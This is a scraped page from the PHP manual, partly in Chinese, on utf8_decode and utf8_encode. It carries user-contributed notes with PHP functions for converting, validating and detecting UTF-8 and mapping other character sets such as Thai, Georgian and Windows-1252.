     $utf2html_c2 |= (($utf2html_c1 & 3) << 6); // last 2 bits of c1 become first 2 of c2
     $utf2html_c1 >>= 2; // c1 shifts 2 to the right
       $utf2html_n = dechex($utf2html_c1).dechex($utf2html_c2);
     $utf2html_retstr .= sprintf ("&#%03d;", hexdec($utf2html_n));
   else:
     $utf2html_retstr .= $utf2html_c;
   endif;
  endfor;
  return $utf2html_retstr;
}
28-Aug-2002 03:22
echo utf8_decode(
"Ekonomi_ve_\xc4\xb0\xc5\x9f_D\xc3xbcnyas\xc4\xb1");

Outputs: Ekonomi_ve_??_Dnyas?

This is not a bug. For example "\xc4\xb0" is decoded like this:
0xC4 = 110 00100 (110 prefix for 2 bytes)
0xB0 = 10 110000 (10 for trailing byte)
Character = 001 0011 0000 = 0x130

This U+0130 Unicode character is not defined in ISO-8859-1
(where all codes are below 0x100), so the utf8_decode() function
cannot represent it, and inserts a '?' replacement character
in the result string...

There's no alternative in the utf8_decode() function
which returns a string made of
single-byte characters.

PHP really lacks a datatype for UTF-16 (a.k.a. Unicode) strings,
unlike Java whose strings are always natively encoded
with UTF-16...

The alternative for PHP would be that it allows inserting SGML
character entities. In the above example, it could return
"&#x130;" when decoding "\xc4\xb0".

May be a future version of PHP could make strings using
double-byte UTF-16 encoding, so that Unicode could be natively
supported, but this would require adding new functions to
define the behavior of I/O functions to provide external
encode/decode capabilities when sending Unicode strings to
a file stream, or with echo and print builtins for the
standard input and output streams:

- What would be the semantic of fwrite($fp, $string)
if $string can contain any UTF-16 characters ?
- Should fwrite() truncate the highest byte of each UTF-16
character, letting the user anticipating this truncation by
performing the conversion to UTF-8 or character entities himself ?
- Should the user be able to specify an encoder/decoder object
used by all I/O operations performed on a file ?

For example:
- set_encoder($fp, 'utf8_encode') would define the PHP function
to call to encode a string.
- set_encoder($fp) or set_encoder($fp, null) would restore the
default (stripping) encoder...
- then fwrite($fp, $string) would return the number of bytes
written to the stream, which may be larger than the length of
$string...
ronen at greyzone dot com
02-Mar-2002 09:37
The following function will take a utf-8 encoded string and convert it to Unicode entities (the format is &#nnn; or &#nnnnn; with n={0..9} ).  Most browsers will display Unicode entities regardless of the encoding of the page.  Otherwise try charset=utf-8 to make sure the entities display correctly.  This works well with IE and Mozilla (tested with Mozilla 0.9.8 for X-Windos).

/**
* takes a string of utf-8 encoded characters and converts it to a string of unicode entities
* each unicode entitiy has the form &#nnnnn; n={0..9} and can be displayed by utf-8 supporting
* browsers
* @param $source string encoded using utf-8 [STRING]
* @return string of unicode entities [STRING]
* @access public
*/
function utf8ToUnicodeEntities ($source) {
   // array used to figure what number to decrement from character order value
   // according to number of characters used to map unicode to ascii by utf-8
   $decrement[4] = 240;
   $decrement[3] = 224;
   $decrement[2] = 192;
   $decrement[1] = 0;

   // the number of bits to shift each charNum by
   $shift[1][0] = 0;
   $shift[2][0] = 6;
   $shift[2][1] = 0;
   $shift[3][0] = 12;
   $shift[3][1] = 6;
   $shift[3][2] = 0;
   $shift[4][0] = 18;
   $shift[4][1] = 12;
   $shift[4][2] = 6;
   $shift[4][3] = 0;

   $pos = 0;
   $len = strlen ($source);
   $encodedString = '';
   while ($pos < $len) {
       $asciiPos = ord (substr ($source, $pos, 1));
       if (($asciiPos >= 240) && ($asciiPos <= 255)) {
           // 4 chars representing one unicode character
           $thisLetter = substr ($source, $pos, 4);
           $pos += 4;
       }
       else if (($asciiPos >= 224) && ($asciiPos <= 239)) {
           // 3 chars representing one unicode character
           $thisLetter = substr ($source, $pos, 3);
           $pos += 3;
       }
       else if (($asciiPos >= 192) && ($asciiPos <= 223)) {
           // 2 chars representing one unicode character
           $thisLetter = substr ($source, $pos, 2);
           $pos += 2;
       }
       else {
           // 1 char (lower ascii)
           $thisLetter = substr ($source, $pos, 1);
           $pos += 1;
       }

       // process the string representing the letter to a unicode entity
       $thisLen = strlen ($thisLetter);
       $thisPos = 0;
       $decimalCode = 0;
       while ($thisPos < $thisLen) {
           $thisCharOrd = ord (substr ($thisLetter, $thisPos, 1));
           if ($thisPos == 0) {
               $charNum = intval ($thisCharOrd - $decrement[$thisLen]);
               $decimalCode += ($charNum << $shift[$thisLen][$thisPos]);
           }
           else {
               $charNum = intval ($thisCharOrd - 128);
               $decimalCode += ($charNum << $shift[$thisLen][$thisPos]);
           }

           $thisPos++;
       }

       if ($thisLen == 1)
           $encodedLetter = "&#". str_pad($decimalCode, 3, "0", STR_PAD_LEFT) . ';';
       else
           $encodedLetter = "&#". str_pad($decimalCode, 5, "0", STR_PAD_LEFT) . ';';

       $encodedString .= $encodedLetter;
   }

   return $encodedString;
}

Ronen.
add a note add a note

后退 | 起点 | 前进
XML 语法解析函数 | 上一级 | utf8_encode


utf8_encode

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

utf8_encode -- 将 ISO-8859-1 编码的字符串转换为 UTF-8 编码

描述

string utf8_encode ( string data )

该函数将 data 字符串转换为 UTF-8 编码，并返回编码后的字符串。UTF-8 是一种用于将宽字符值转换为字节流的 Unicode 的标准机制。UTF-8 对于纯 ASCII 字符来说是透明的，且是自同步的（也就是说这使得程序能够得知字符从字节流的何处开始），并可被普通字符串比较函数用以比较等操作。PHP 可将 UTF-8 编码为多达四个字节的字符，如：

表格 1. UTF-8 编码

字节（bytes） | 位（bits） | 表 示
1 | 7 | 0bbbbbbb
2 | 11 | 110bbbbb 10bbbbbb
3 | 16 | 1110bbbb 10bbbbbb 10bbbbbb
4 | 21 | 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb

每个 UTF-8 表示一个能被用以储存字符数据的位。

add a note add a note User Contributed Notes
rocketman
16-Mar-2006 08:46
If you are looking for a function to replace special characters with the hex-utf-8 value (e.g. fr Webservice-Security/WSS4J compliancy) you might use this:

$textstart = "Gre";
$utf8 ='';
$max = strlen($txt);

for ($i = 0; $i < $max; $i++) {

if ($txt{i} == "&"){
$neu = "&x26;";
}
elseif ((ord($txt{$i}) < 32) or (ord($txt{$i}) > 127)){
$neu = urlencode(utf8_encode($txt{$i}));
$neu = preg_replace('#\%(..)\%(..)\%(..)#','&#x\1;&#x\2;&#x\3;',$neu);
$neu = preg_replace('#\%(..)\%(..)#','&#x\1;&#x\2;',$neu);
$neu = preg_replace('#\%(..)#','&#x\1;',$neu);
}
else {
$neu = $txt{$i};
}

$utf8 .= $neu;
} // for $i

$textnew = $utf8;

In this example $textnew will be "Gr&#xC3;&#xB6;&#xC3;&#x9F;e"
mailing at jcn50 dot com
21-Jan-2006 02:40
I recommend using this alternative for every language:

$new=mb_convert_encoding($s,"UTF-8","auto");

Don't forget to set all your pages to "utf-8" encoding, otherwise just use HTML entities.

jcn50.
ignacvuckoSPAMSUKZ at gmail dot com
04-Jan-2006 02:35
migueldiaz's function is not perfect for detecting UTF-8 strings.

See the discussion at http://php.morva.net/manual/en/function.mb-detect-encoding.php for a more reliable method.

Ignac
migueldiaz at gennio dot com
14-Dec-2005 01:23
Here's my function to know if one string is encoded in UTF8.

If we encode in UTF8 a string or text file that is already encoded in UTF8, it's expected to find the character '' ( ALT+159)  in the final string.

<?php

function isUTF8($string)
{
   $string_utf8 = utf8_encode($string);
   if( strpos($string_utf8,"",0) !== false ) // "" is ALT+159
         return true;  // the original string was utf8
   else
         return false; // otherwise
}

?>

regards
Miguel Daz
05-Nov-2005 06:34
// Reads a file story.txt ascii (as typed on keyboard)
// converts it to Georgian character using utf8 encoding
// if I am correct(?) just as it should be when typed on Georgian computer
// it outputs it as an html file
//
// http://www.comweb.nl/keys_to_georgian.html
// http://www.comweb.nl/keys_to_georgian.php
// http://www.comweb.nl/story.txt

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<HTML>
<HEAD>
<TITLE>keys to unicode code</TITLE>

// this meta tag is needed
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" >

// note the sylfean font seems to be standard installed on Windows XP
// It supports Georgian

<style TYPE="text/css">
<!--
body {font-family:sylfaen; }
-->
</style>
</HEAD>

<BODY>

<?
$eng=array(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,
112,113,114,115,116,117,118,119,120,121,122,87,82,84,83,
67,74,90);
$geo=array(4304,4305,4330,4307,4308,4324,4306,4336,4312,4335,4313,
4314,4315,4316,4317,4318,4325,4320,4321,4322,4323,4309,
4332,4334,4327,4310,4333,4326,4311,4328,4329,4319,4331,
91,93,59,39,44,46,96);

$fc=file("story.txt");
foreach($fc as $line)
{
   $spacestart=1;
   for ($i=0; $i<strlen($line); $i+=1)
   {
     $character=ord(substr($line,$i,1));
     $found=0;
     for ($k=0; $k<count($eng); $k+=1)
     {
         if ($eng[$k]==$character)
         {
             print code2utf( $geo[$k] );
             $found=1;
         }
     }
     if ($found==0)
     {
         if ($character==126 || $character==32 || $character==10 || $character==9)
         {
           if ($character==9)  { print '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'; }
           if ($character==10) { print "<BR>\n"; }
           if ($character==32)
           {
               if ($spacestart==1) {print '&nbsp;'; } else { print " "; }
           }
           if ($character==126){ print "~";      }
         } else
         {
           print substr($line,$i,1);
         }
     }
     if ($character!=32) { $spacestart=0; }
   }
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
*/
function code2utf($num)
{
   if($num<128)return chr($num);
   if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
   if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
   if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
   return '';
}
?>

</BODY>
</HTML>
Janci
04-Nov-2005 08:00
I was searching for a function similar to Javascript's unescape(). In most cases it is OK to use url_decode() function but not if you've got UTF characters in the strings. They are converted into %uXXXX entities that url_decode() cannot handle.
I googled the net and found a function which actualy converts these entities into HTML entities (&#xxx;) that your browser can show correctly. If you're OK with that, the function can be found here: http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps

But it was not OK with me because I needed a string in my charset to make some comparations and other stuff. So I have modified the above function and in conjuction with code2utf() function mentioned in some other note here, I have managed to achieve my goal:

<?php
/**
 * Function converts an Javascript escaped string back into a string with specified charset (default is UTF-8).
 * Modified function from http://pure-essence.net/stuff/code/utf8RawUrlDecode.phps
 *
 * @param string $source escaped with Javascript's escape() function
 * @param string $iconv_to destination character set will be used as second paramether in the iconv function. Default is UTF-8.
 * @return string
 */
function unescape($source, $iconv_to = 'UTF-8') {
   $decodedStr = '';
   $pos = 0;
   $len = strlen ($source);
   while ($pos < $len) {
       $charAt = substr ($source, $pos, 1);
       if ($charAt == '%') {
           $pos++;
           $charAt = substr ($source, $pos, 1);
           if ($charAt == 'u') {
               // we got a unicode character
               $pos++;
               $unicodeHexVal = substr ($source, $pos, 4);
               $unicode = hexdec ($unicodeHexVal);
               $decodedStr .= code2utf($unicode);
               $pos += 4;
           }
           else {
               // we have an escaped ascii character
               $hexVal = substr ($source, $pos, 2);
               $decodedStr .= chr (hexdec ($hexVal));
               $pos += 2;
           }
       }
       else {
           $decodedStr .= $charAt;
           $pos++;
       }
   }

   if ($iconv_to != "UTF-8") {
       $decodedStr = iconv("UTF-8", $iconv_to, $decodedStr);
   }

   return $decodedStr;
}

/**
 * Function coverts number of utf char into that character.
 * Function taken from: http://sk2.php.net/manual/en/function.utf8-encode.php#49336
 *
 * @param int $num
 * @return utf8char
 */
function code2utf($num){
   if($num<128)return chr($num);
   if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
   if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
   if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
   return '';
}
?>
aktionimskript at gmx dot net
01-Sep-2005 11:52
if you want to put variables as parameter in a flashfile, i prefer using to convert the string with utf8_encode() [or preg_replace, or iconv] and after this i encode it with urlencode();

<?php
     $yourstring="yourstring";
     $str_utf8=utf8_encode($yourstring);
     $str_encoded=urlencode($str_utf8);
     echo "<script language='javascript'>";
     echo "parameterForFlash='".$str_encoded."';";
     echo "</script>";
?>

now you can use the variable (parameterForFlash) in your javascript (plugindetection), that writes the flash object/embed.
suttichai at ceforce dot com
29-May-2005 03:26
This function I use convert Thai font (iso-8859-11) to UTF-8. For my case, It work properly. Please try to use this function if you have a problem to convert charset iso-8859-11 to UTF-8.

function iso8859_11toUTF8($string) {

     if ( ! ereg("[\241-\377]", $string) )
         return $string;

     $iso8859_11 = array(
"\xa1" => "\xe0\xb8\x81",
"\xa2" => "\xe0\xb8\x82",
"\xa3" => "\xe0\xb8\x83",
"\xa4" => "\xe0\xb8\x84",
"\xa5" => "\xe0\xb8\x85",
"\xa6" => "\xe0\xb8\x86",
"\xa7" => "\xe0\xb8\x87",
"\xa8" => "\xe0\xb8\x88",
"\xa9" => "\xe0\xb8\x89",
"\xaa" => "\xe0\xb8\x8a",
"\xab" => "\xe0\xb8\x8b",
"\xac" => "\xe0\xb8\x8c",
"\xad" => "\xe0\xb8\x8d",
"\xae" => "\xe0\xb8\x8e",
"\xaf" => "\xe0\xb8\x8f",
"\xb0" => "\xe0\xb8\x90",
"\xb1" => "\xe0\xb8\x91",
"\xb2" => "\xe0\xb8\x92",
"\xb3" => "\xe0\xb8\x93",
"\xb4" => "\xe0\xb8\x94",
"\xb5" => "\xe0\xb8\x95",
"\xb6" => "\xe0\xb8\x96",
"\xb7" => "\xe0\xb8\x97",
"\xb8" => "\xe0\xb8\x98",
"\xb9" => "\xe0\xb8\x99",
"\xba" => "\xe0\xb8\x9a",
"\xbb" => "\xe0\xb8\x9b",
"\xbc" => "\xe0\xb8\x9c",
"\xbd" => "\xe0\xb8\x9d",
"\xbe" => "\xe0\xb8\x9e",
"\xbf" => "\xe0\xb8\x9f",
"\xc0" => "\xe0\xb8\xa0",
"\xc1" => "\xe0\xb8\xa1",
"\xc2" => "\xe0\xb8\xa2",
"\xc3" => "\xe0\xb8\xa3",
"\xc4" => "\xe0\xb8\xa4",
"\xc5" => "\xe0\xb8\xa5",
"\xc6" => "\xe0\xb8\xa6",
"\xc7" => "\xe0\xb8\xa7",
"\xc8" => "\xe0\xb8\xa8",
"\xc9" => "\xe0\xb8\xa9",
"\xca" => "\xe0\xb8\xaa",
"\xcb" => "\xe0\xb8\xab",
"\xcc" => "\xe0\xb8\xac",
"\xcd" => "\xe0\xb8\xad",
"\xce" => "\xe0\xb8\xae",
"\xcf" => "\xe0\xb8\xaf",
"\xd0" => "\xe0\xb8\xb0",
"\xd1" => "\xe0\xb8\xb1",
"\xd2" => "\xe0\xb8\xb2",
"\xd3" => "\xe0\xb8\xb3",
"\xd4" => "\xe0\xb8\xb4",
"\xd5" => "\xe0\xb8\xb5",
"\xd6" => "\xe0\xb8\xb6",
"\xd7" => "\xe0\xb8\xb7",
"\xd8" => "\xe0\xb8\xb8",
"\xd9" => "\xe0\xb8\xb9",
"\xda" => "\xe0\xb8\xba",
"\xdf" => "\xe0\xb8\xbf",
"\xe0" => "\xe0\xb9\x80",
"\xe1" => "\xe0\xb9\x81",
"\xe2" => "\xe0\xb9\x82",
"\xe3" => "\xe0\xb9\x83",
"\xe4" => "\xe0\xb9\x84",
"\xe5" => "\xe0\xb9\x85",
"\xe6" => "\xe0\xb9\x86",
"\xe7" => "\xe0\xb9\x87",
"\xe8" => "\xe0\xb9\x88",
"\xe9" => "\xe0\xb9\x89",
"\xea" => "\xe0\xb9\x8a",
"\xeb" => "\xe0\xb9\x8b",
"\xec" => "\xe0\xb9\x8c",
"\xed" => "\xe0\xb9\x8d",
"\xee" => "\xe0\xb9\x8e",
"\xef" => "\xe0\xb9\x8f",
"\xf0" => "\xe0\xb9\x90",
"\xf1" => "\xe0\xb9\x91",
"\xf2" => "\xe0\xb9\x92",
"\xf3" => "\xe0\xb9\x93",
"\xf4" => "\xe0\xb9\x94",
"\xf5" => "\xe0\xb9\x95",
"\xf6" => "\xe0\xb9\x96",
"\xf7" => "\xe0\xb9\x97",
"\xf8" => "\xe0\xb9\x98",
"\xf9" => "\xe0\xb9\x99",
"\xfa" => "\xe0\xb9\x9a",
"\xfb" => "\xe0\xb9\x9b"
 );

     $string=strtr($string,$iso8859_11);
     return $string;
 }

Suttichai Mesaard-www.ceforce.com
bisqwit at iki dot fi
20-May-2005 04:15
For reference, it may be insightful to point out that:
  utf8_encode($s)
is actually identical to:
  recode_string('latin1..utf8', $s)
and:
  iconv('iso-8859-1', 'utf-8', $s)
That is, utf8_encode is a specialized case of character set conversions.

If your string to be converted to utf-8 is something other than iso-8859-1 (such as iso-8859-2 (Polish/Croatian)), you should use recode_string() or iconv() instead rather than trying to devise complex str_replace statements.
JF Sebastian
09-Apr-2005 06:54
The following Perl regular expression tests if a string is well-formed Unicode UTF-8 (Broken up after each | since long lines are not permitted here. Please join as a single line, no spaces, before use.):

^([\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
\xe0[\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
\xed[\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
f0[\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
\xf4[\x80-\x8f][\x80-\xbf]{2})*$

NOTE: This strictly follows the Unicode standard 4.0, as described in chapter 3.9, table 3-6, "Well-formed UTF-8 byte sequences" ( http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf#G31703 ).

ISO-10646, a super-set of Unicode, uses UTF-8 (there called "UCS", see http://www.unicode.org/faq/utf_bom.html#1 ) in a relaxed variant that supports a 31-bit space encoded into up to six bytes instead of Unicode's 21 bits in up to four bytes. To check for ISO-10646 UTF-8, use the following Perl regular expression (again, broken up, see above):

^([\x00-\x7f]|
[\xc0-\xdf][\x80-\xbf]|
[\xe0-\xef][\x80-\xbf]{2}|
[\xf0-\xf7][\x80-\xbf]{3}|
[\xf8-\xfb][\x80-\xbf]{4}|
[\xfc-\xfd][\x80-\xbf]{5})*$

The following function may be used with above expressions for a quick UTF-8 test, e.g. to distinguish ISO-8859-1-data from UTF-8-data if submitted from a <form accept-charset="utf-8,iso-8859-1" method=..>.

function is_utf8($string) {
   return (preg_match('/[insert regular expression here]/', $string) === 1);
}
http://iubito.free.fr
10-Mar-2005 03:57
Here's a function I made to know if one string or textfile is already encoded in UTF8 :

<?php
/**
 * Returns <kbd>true</kbd> if the string or array of string is encoded in UTF8.
 *
 * Example of use. If you want to know if a file is saved in UTF8 format :
 * <code> $array = file('one file.txt');
 * $isUTF8 = isUTF8($array);
 * if (!$isUTF8) --> we need to apply utf8_encode() to be in UTF8
 * else --> we are in UTF8 :)
 * </code>
 * @param mixed A string, or an array from a file() function.
 * @return boolean
 */
function isUTF8($string)
{
   if (is_array($string))
   {
       $enc = implode('', $string);
       return @!((ord($enc[0]) != 239) && (ord($enc[1]) != 187) && (ord($enc[2]) != 191));
   }
   else
   {
       return (utf8_encode(utf8_decode($string)) == $string);
   }
}
?>
Denis G.
24-Feb-2005 09:32
Sniplet to convert ASCII coded text to UTF-8:

$text= preg_replace ('/([\x80-\xff])/se', "pack (\"C*\", (ord ($1) >> 6) | 0xc0, (ord ($1) & 0x3f) | 0x80)", $text);
anonymous at anonymous dot com
25-Jan-2005 06:49
A few bugs in your example code:

 function code2utf($num){
  if($num<128)return chr($num);
  if($num<2048)return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<65536)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
  if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
  return '';
 }
schofei at yahoo dot de
11-Jan-2005 07:23
regarding the above code2utf function...

> romans at void dot lv
> 02-Oct-2002 09:59
> Here is optimized function which converts
> binary UTF symbol code into unicoded string....

Thanks for providing your nice conversion code, however due to some missing parenthesis 4-byte utf-8 chars are not converted properly.

Here is a corrected version of the code2utf function:

 function code2utf($num){
  if($num<128)return chr($num);
  if($num<1024)return chr(($num>>6)+192).chr(($num&63)+128);
  if($num<32768)return chr(($num>>12)+224).chr((($num>>6)&63)+128).chr(($num&63)+128);
  if($num<2097152)return chr(($num>>18)+240).chr((($num>>12)&63)+128).chr((($num>>6)&63)+128) .chr(($num&63)+128);
  return '';
 }

regards
Scho Fei
hrpeters (at) gmx (dot) net
14-Dec-2004 02:46
// Validate Unicode UTF-8 Version 4
// This function takes as reference the table 3.6 found at http://www.unicode.org/versions/Unicode4.0.0/ch03.pdf
// It also flags overlong bytes as error

function is_validUTF8($str)
{
   // values of -1 represent disalloweded values for the first bytes in current UTF-8
   static $trailing_bytes = array (
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
       -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
       -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
       -1,-1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
       2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, 3,3,3,3,3,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
   );

   $ups = unpack('C*', $str);
   if (!($aCnt = count($ups))) return true; // Empty string *is* valid UTF-8
   for ($i = 1; $i <= $aCnt;)
   {
       if (!($tbytes = $trailing_bytes[($b1 = $ups[$i++])])) continue;
       if ($tbytes == -1) return false;

       $first = true;
       while ($tbytes > 0 && $i <= $aCnt)
       {
           $cbyte = $ups[$i++];
           if (($cbyte & 0xC0) != 0x80) return false;

           if ($first)
           {
               switch ($b1)
               {
                   case 0xE0:
                       if ($cbyte < 0xA0) return false;
                       break;
                   case 0xED:
                       if ($cbyte > 0x9F) return false;
                       break;
                   case 0xF0:
                       if ($cbyte < 0x90) return false;
                       break;
                   case 0xF4:
                       if ($cbyte > 0x8F) return false;
                       break;
                   default:
                       break;
               }
               $first = false;
           }
           $tbytes--;
       }
       if ($tbytes) return false; // incomplete sequence at EOS
   }
   return true;
}
Mark AT modernbill DOT com
10-Nov-2004 03:56
If you haven't guessed already: If the UTF-8 character has no representation in the ISO-8859-1 codepage, a ? will be returned. You might want to wrap a function around this to make sure you aren't saving a bunch of ???? into your database.
Aidan Kehoe <php-manual at parhasard dot net>
30-Aug-2004 10:05
Here's some code that addresses the issue that Steven describes in the previous comment;

<?php

/* This structure encodes the difference between ISO-8859-1 and Windows-1252,
   as a map from the UTF-8 encoding of some ISO-8859-1 control characters to
   the UTF-8 encoding of the non-control characters that Windows-1252 places
   at the equivalent code points. */

$cp1252_map = array(
   "\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
   "\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
   "\xc2\x83" => "\xc6\x92",    /* LATIN SMALL LETTER F WITH HOOK */
   "\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
   "\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
   "\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
   "\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
   "\xc2\x88" => "\xcb\x86",    /* MODIFIER LETTER CIRCUMFLEX ACCENT */
   "\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
   "\xc2\x8a" => "\xc5\xa0",    /* LATIN CAPITAL LETTER S WITH CARON */
   "\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
   "\xc2\x8c" => "\xc5\x92",    /* LATIN CAPITAL LIGATURE OE */
   "\xc2\x8e" => "\xc5\xbd",    /* LATIN CAPITAL LETTER Z WITH CARON */
   "\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
   "\xc2\x92" => "\xe2\x80\x99", /* RIGHT SINGLE QUOTATION MARK */
   "\xc2\x93" => "\xe2\x80\x9c", /* LEFT DOUBLE QUOTATION MARK */
   "\xc2\x94" => "\xe2\x80\x9d", /* RIGHT DOUBLE QUOTATION MARK */
   "\xc2\x95" => "\xe2\x80\xa2", /* BULLET */
   "\xc2\x96" => "\xe2\x80\x93", /* EN DASH */
   "\xc2\x97" => "\xe2\x80\x94", /* EM DASH */

   "\xc2\x98" => "\xcb\x9c",    /* SMALL TILDE */
   "\xc2\x99" => "\xe2\x84\xa2", /* TRADE MARK SIGN */
   "\xc2\x9a" => "\xc5\xa1",    /* LATIN SMALL LETTER S WITH CARON */
   "\xc2\x9b" => "\xe2\x80\xba", /* SINGLE RIGHT-POINTING ANGLE QUOTATION*/
   "\xc2\x9c" => "\xc5\x93",    /* LATIN SMALL LIGATURE OE */
   "\xc2\x9e" => "\xc5\xbe",    /* LATIN SMALL LETTER Z WITH CARON */
   "\xc2\x9f" => "\xc5\xb8"      /* LATIN CAPITAL LETTER Y WITH DIAERESIS*/
);

function cp1252_to_utf8($str) {
       global $cp1252_map;
       return  strtr(utf8_encode($str), $cp1252_map);
}

?>
steven -at- acko -dot- net
18-Aug-2004 05:45
Note that you should only use utf8_encode() on ISO-8859-1 data, and not on data using the Windows-1252 codepage. Microsoft's Windows-1252 codepage contains ISO-8859-1, but it includes several characters in the range 0x80-0x9F whose codepoints in Unicode do not match the byte's value (in Unicode, codepoints U+80 - U+9F are unassigned).

utf8_encode() simply assumes the bytes integer value is the codepoint number in Unicode.

E.g. in 1252, byte 0x80 is the euro sign, which is U+20AC. The same goes for curly quotes, em dashes, etc.

utf8_encode() will convert 0x80 into U+0080 (an unassigned codepoint) rather than U+20AC.

To convert 1252 to UTF-8, use iconv, recode or mbstring.
Net Raven
25-Jun-2004 03:58
I often need to convert multi language text sent to me for use in websites and other apps into UTF8 encoded so I can insert it into source code and databases.

I knocked up a small web page with its charset set to UTF8 then set it up so I can paste from the original doc (eg word or excel) and have the page return the UTF8 encoded version.

Of course the browser will convert the unicode to UTF8 for you as part of the submit (I use IE5 or better for this) then all you have to do in the PHP is encode the UTF8 so the browser will show it in its raw form.

Its a bit bulky but I just convert ALL character to html numbered entities (brute force and ignorance does it again.)

I've used this to encode everything from Hebrew to Japanese without problems

<?
header("Content-Type: text/plain; charset=utf-8");
$code = (get_magic_quotes_gpc())?stripslashes($GLOBALS[code]):$GLOBALS[code];
?>
<html>
<head>
   <title>UTF8 ENCODER PAGE</title>
   <meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<form method=post action="?seed=<?=time()?>">
   Original Unicode<br />
   <textarea name="code" cols="80" rows="10"><?=$code?></textarea><br />
   Encoded UTF8<br />
   <textarea name="encd" cols="80" rows="10"><?
       for ($i = 0; $i < strlen($code); $i++) {
           echo '&#'.ord(substr($code,$i,1));
       }
   ?></textarea><br />
   <input type="submit" value="encode">
</form>
</body>
</html>
lorro at lorro dot wigner dot bme dot hu
06-Apr-2004 10:12
Good news is that utf8_encode (like UTF-8) passes '<', '>', '/', '\'', '"', etc., so you are free to utf8_encode complete blocks of html text that includes tags.
Bad news is that UTF-8 is stupid enough so that utf8_encode(utf8_encode($str)) != utf8_encode($str) in most of the cases. What you can do is write utf8_ensure like:

function utf8_ensure($str) {
   return seems_utf8($str)? $str: utf8_encode($str);
}

Comes handy when your view library tries to encode the same text multiple times.
bmorel at ssi dot fr
18-Feb-2004 05:22
Here is an improved version of that function, compatible with 31-bit encoding scheme of Unicode 3.x :

<?php
function seems_utf8($Str) {
 for ($i=0; $i<strlen($Str); $i++) {
  if (ord($Str[$i]) < 0x80) continue; # 0bbbbbbb
  elseif ((ord($Str[$i]) & 0xE0) == 0xC0) $n=1; # 110bbbbb
  elseif ((ord($Str[$i]) & 0xF0) == 0xE0) $n=2; # 1110bbbb
  elseif ((ord($Str[$i]) & 0xF8) == 0xF0) $n=3; # 11110bbb
  elseif ((ord($Str[$i]) & 0xFC) == 0xF8) $n=4; # 111110bb
  elseif ((ord($Str[$i]) & 0xFE) == 0xFC) $n=5; # 1111110b
  else return false; # Does not match any model
  for ($j=0; $j<$n; $j++) { # n bytes matching 10bbbbbb follow ?
   if ((++$i == strlen($Str)) || ((ord($Str[$i]) & 0xC0) != 0x80))
   return false;
  }
 }
 return true;
}
?>
bmorel at ssi dot fr
16-Feb-2004 04:28
Here is a simple function that can help, if you want to know if a string could be UTF-8 or not :

<?php
function seems_utf8($Str) {
 for ($i=0; $i<strlen($Str); $i++) {
  if (ord($Str[$i]) < 0x80) $n=0; # 0bbbbbbb
  elseif ((ord($Str[$i]) & 0xE0) == 0xC0) $n=1; # 110bbbbb
  elseif ((ord($Str[$i]) & 0xF0) == 0xE0) $n=2; # 1110bbbb
  elseif ((ord($Str[$i]) & 0xF0) == 0xF0) $n=3; # 1111bbbb
  else return false; # Does not match any model
  for ($j=0; $j<$n; $j++) { # n octets that match 10bbbbbb follow ?
